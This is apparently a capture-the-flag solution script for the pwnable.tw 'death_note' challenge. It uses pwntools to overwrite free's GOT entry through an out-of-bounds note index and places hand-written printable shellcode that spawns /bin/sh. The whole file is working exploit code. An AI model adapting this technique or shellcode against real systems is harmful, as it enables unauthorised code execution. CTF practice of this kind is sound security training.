text: #!/usr/bin/env python3
  
  from pwn import *
  
  context.arch = 'i386'
  
  io = remote('chall.pwnable.tw', 10201)
  #io = process('./death_note')
  elf = ELF('./death_note')
  
  def del_note(index):
  	io.recvuntil('Your choice :')
  	io.sendline(str(3))
  	io.recvuntil('Index :')
  	io.sendline(str(index))
  
  def add_note(index, name):
  	io.recvuntil('Your choice :')
  	io.sendline(str(1))
  	io.recvuntil('Index :')
  	io.sendline(str(index))
  	io.recvuntil('Name :')
  	io.sendline(name)
  
  free_got = elf.got['free']
  note = elf.sym['note']
  index = (free_got - note) // 4
  
  shellcode = asm('''
      push eax
      pop ecx                 # ebx, ecx now points to heap address
  
      push 0x7e
      pop eax
      inc eax
      inc eax
      xor [ecx + 0x71], eax
      xor al, 0x4d
      xor [ecx + 0x70], eax   # paint 0xcd, 0x80
  
      push 0x30
      pop eax
      xor al, 0x30
      push eax
      push 0x68732f2f
      push 0x6e69622f         # "/bin/sh"
  
      push esp
      pop ebx
      push eax
      pop ecx
      push eax
      pop edx
      xor al, 0x30
      xor al, 0x3b
      
      jnz $+0x47
  ''')
  
  add_note(index, shellcode)
  del_note(index)
  
  io.interactive()
  